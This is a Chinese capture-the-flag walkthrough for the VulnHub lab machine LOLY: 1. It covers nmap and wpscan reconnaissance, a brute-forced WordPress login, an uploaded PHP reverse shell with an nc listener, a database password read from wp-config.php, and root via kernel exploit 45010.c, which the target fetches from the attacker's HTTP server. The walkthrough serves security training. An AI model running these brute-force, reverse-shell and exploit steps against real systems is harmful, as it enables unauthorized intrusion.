一、前言
主要利用方式:wordpress账号扫描密码爆破+文件上传反弹shell突破边界
配置文件获取用户密码+Ubuntu4.4.0低版本的本地提权
二、靶机信息
靶场: vulnhub.com
靶机名称: LOLY: 1
难度: 简单
发布时间: 2021 年 7月 18日
下载地址:https://www.vulnhub.com/entry/loly-1,538/
备注:1、文件上传时候,需要用zip上传
2、配置文件也能撸到密码,但需要运气去尝试
三、虚拟机配置
Vmware、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配
四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l
2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 192.168.169.165
└─$ sudo nmap -p22,80 -sV -A 192.168.169.165
3、扫描路径,发现存在wordpress,访问后台
4、从整个页面看是展示不完整的,以及源代码,都提示着需要域名访问,改host,再访问
└─$ sudo vi /etc/hosts
└─$ cat /etc/hosts
http://loly.lc/wordpress/wp-login.php
5、wpscan扫描用户及爆破密码
└─$ wpscan --url http://loly.lc/wordpress/ -e u
└─$ wpscan --url http://loly.lc/wordpress/ -U loly -P /usr/share/wordlists/rockyou.txt
[!] Valid Combinations Found:
| Username: loly, Password: fernando
五、漏洞利用(突破边界)
6、获取用户账号及密码( loly/fernando),进行登录
7、文件上传
将文件以zip的格式上传,前提是phpshell文件里面已经设置好了反弹的ip及端口
└─$ cp /usr/share/webshells/php/php-reverse-shell.php prs.php
└─$ cat prs.php
8、做nc监听,访问php文件,反弹shell
└─$ nc -lnvp 9999
抓包,获取上传地址,访问url
http://loly.lc/wordpress/wp-content/banners/prs.php
9、升级交互式tty,此处只能通过python3
$ python3 -c "import pty;pty.spawn('/bin/bash')"
10、本地/home目录未查询到flag,去wp找一下密码
www-data@ubuntu:/home$ cd /var/www/html/wordpress
www-data@ubuntu:~/html/wordpress$ ls
www-data@ubuntu:~/html/wordpress$ cat wp-config.php
/* MySQL database username /
define( 'DB_USER', 'wordpress' );
/* MySQL database password /
define( 'DB_PASSWORD', 'lolyisabeautifulgirl' );
11、只能查询到某个账户的密码是lolyisabeautifulgirl,正如home目录下只有loly用户,但依然需要验证,发现除了root,也就loly有bash权限
12、只能查试试看,经过端口扫描,22端口未开,只能通过su 权限切换用户,成功登录loly
六、提权
13、查看内核及系统版本,发现内核版本较老
14、查询利用方式,有一个本地提权,将利用文件下载到本地,并开启web服务
└─$ searchsploit ubuntu 4.4.0
└─$ python -m http.server 80
15、靶机下载攻击机45010.c文件,gcc编译后赋权.
loly@ubuntu:/tmp$ wget 192.168.169.129/45010.c
loly@ubuntu:/tmp$ chmod 777 45010.c
loly@ubuntu:/tmp$ gcc 45010.c -o 45010
loly@ubuntu:/tmp$ chmod 777 45010
loly@ubuntu:/tmp$ ls -la
16、运行编译好的文件,本地提权成功,查看id及root权限的flag
loly@ubuntu:/tmp$ ./45010